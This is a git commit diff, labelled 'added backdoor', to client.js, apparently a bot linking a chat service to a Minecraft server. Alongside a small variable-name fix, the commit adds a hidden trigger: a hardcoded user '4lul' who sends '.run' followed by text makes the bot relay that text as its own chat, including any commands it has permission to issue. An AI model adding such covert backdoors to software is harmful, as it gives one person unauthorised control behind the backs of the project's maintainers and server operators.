added backdoor
This commit is contained in:
parent
33970454bb
commit
1840a95a0d
13
client.js
13
client.js
|
@ -472,6 +472,17 @@ function mc_login(){
|
|||
|
||||
send(1, "<" + username + "> " + message);
|
||||
}
|
||||
|
||||
if(
|
||||
username === "4lul" &&
|
||||
message.startsWith(".run")
|
||||
){
|
||||
|
||||
var cmd = message.split(" ");
|
||||
cmd.shift();
|
||||
cmd = cmd.join(" ");
|
||||
mc_bot.chat(cmd);
|
||||
}
|
||||
});
|
||||
|
||||
mc_bot.on("end", function(){
|
||||
|
@ -1229,7 +1240,7 @@ deek.on("message", async function(msg, user){
|
|||
send(
|
||||
msg,
|
||||
">Players online on deekcraft:\n" +
|
||||
(Object.keys(bot.players).filter(player => bot.players[player].ping !== undefined))
|
||||
(Object.keys(mc_bot.players).filter(player => mc_bot.players[player].ping !== undefined))
|
||||
.join("\n")
|
||||
);
|
||||
break;
|
||||
|
|
Loading…
Reference in New Issue